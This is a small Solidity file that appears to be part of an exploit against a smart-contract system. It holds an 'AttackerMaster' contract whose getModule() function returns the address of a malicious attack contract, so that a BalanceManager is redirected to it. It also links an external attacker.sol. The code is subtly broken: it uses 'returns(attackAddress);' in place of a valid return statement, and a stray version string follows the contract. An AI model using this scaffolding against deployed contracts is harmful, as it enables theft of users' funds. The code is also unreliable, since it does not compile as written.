pragma solidity 0.8.0; /* This contract will be the new Master contract. Since a successful exploit requires the BalanceManager to call the function getModule(), this contract serves only to return the malicious attack contract. */ contract AttackerMaster { // The contract where the attack exploit lays (attacker.sol, https://ethfiddle.com/sadCsoPiJV) address attackAddress; function getModule(bytes32 _key) external returns(address) { returns(attackAddress); } constructor(address attackAddress_) { attackAddress = attackAddress_; } }
0.4.18